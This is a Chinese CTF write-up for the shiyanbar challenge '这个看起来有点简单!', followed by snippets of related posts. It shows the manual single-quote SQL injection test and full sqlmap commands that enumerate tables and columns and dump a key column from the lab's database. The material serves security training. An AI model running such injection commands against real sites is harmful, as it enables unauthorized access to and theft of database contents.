这个看起来有点简单!--实验吧

这个看起来有点简单!

手工检测是否存在sql注入（经典id=1'加入单引号提交,结果:如果出现错误提示，则该网站可能就存在注入漏洞）
使用sqlmap爆出当前数据库my_db 发现可能藏有key值的thiskey表进一步爆出字段k0y并得到key值。

查看手册sql map

python sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dumppython sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables
python sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns --hex

这个看起来有点简单!--实验吧相关推荐

这个看起来有点简单!-实验吧
这道题一开始点进去让人感觉有点蒙圈,不知道要考什么,后来才发现只是道简单的sql注入.........这里写两种做法. sqlmap去跑先去看一下有什么数据库 sqlmap -u "htt ...
sFlow-rt 3.0流量监控工具安装部署及简单实验
首先我敢说,现在网上没有谁的文章比我这篇实验记录更加全面.在做这个实验的过程中遇到了许多问题已经解决了,看了许多博客写的内容要不就是工具太落伍了,要不就是条理不清晰,要不就是省略了重要步骤,初学者看了 ...
HCL实验-使用ACL进行SSH服务器的登录源限制的简单实验（NAT+SSH+ACL）
HCL实验-使用ACL进行SSH服务器的登录源限制的简单实验(NAT+SSH+ACL) 文章目录 HCL实验-使用ACL进行SSH服务器的登录源限制的简单实验(NAT+SSH+ACL) 一.实验描述 ...
Cisco IOS上Segment Routing TE的简单实验
最近看了些Segment Routing的一些资料,官网找到的实验都是基于IOS-XR系统的,于是自己查看配置手册试着做了个简单实验测试下效果. 拓扑如下: R1.R2.R3.R5.R6.R7之间运行 ...
陈硕《网络编程实战》 02 一个TCP的简单实验
[稿] 陈硕<网络编程实战> 02 一个TCP的简单实验站在巨人的肩膀之上. 按照录像整理,部分专有名词不太肯定,版权归陈硕大神. 实验用的是我家里的几台计算机,第一台的主机名叫atom ...
CTF 这个看起来有点简单
这个看起来有点简单分值:10 来源: 西普学院难度:易很明显.过年过节不送礼,送礼就送这个格式: 解题链接: http://ctf5.shiyanbar.com/8/index.php?id=1 ...
liunx screen使用简单实验
liunx screen使用今天因工作需要使用到screen工具,感觉挺有意思,记录一下 GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件.用户可以通过该软件同时连接多个本地 ...
eNSP之防火墙简单实验（一）
eNSP之防火墙简单实验(一) 实验拓扑图中,FW与ISP连接的网段仅仅是互联的作用,所以用私有地址段,而内部流量经过防火墙的G1/0/2访问外部流量时使用向运营商申请的公有地址段200.8.8.0 ...
php打字竞赛,“键”笔如飞！看珠海一职实验学校打字竞赛谁与争锋！
原标题:"键"笔如飞!看珠海一职实验学校打字竞赛谁与争锋! 文字录入...... 文字录入是信息时代每个人必备的基本素养,为了提高学生的计算机操作及应用能力,促进信息技术与学科融合 ...

这个看起来有点简单!--实验吧

这个看起来有点简单!

这个看起来有点简单!--实验吧相关推荐

最新文章

热门文章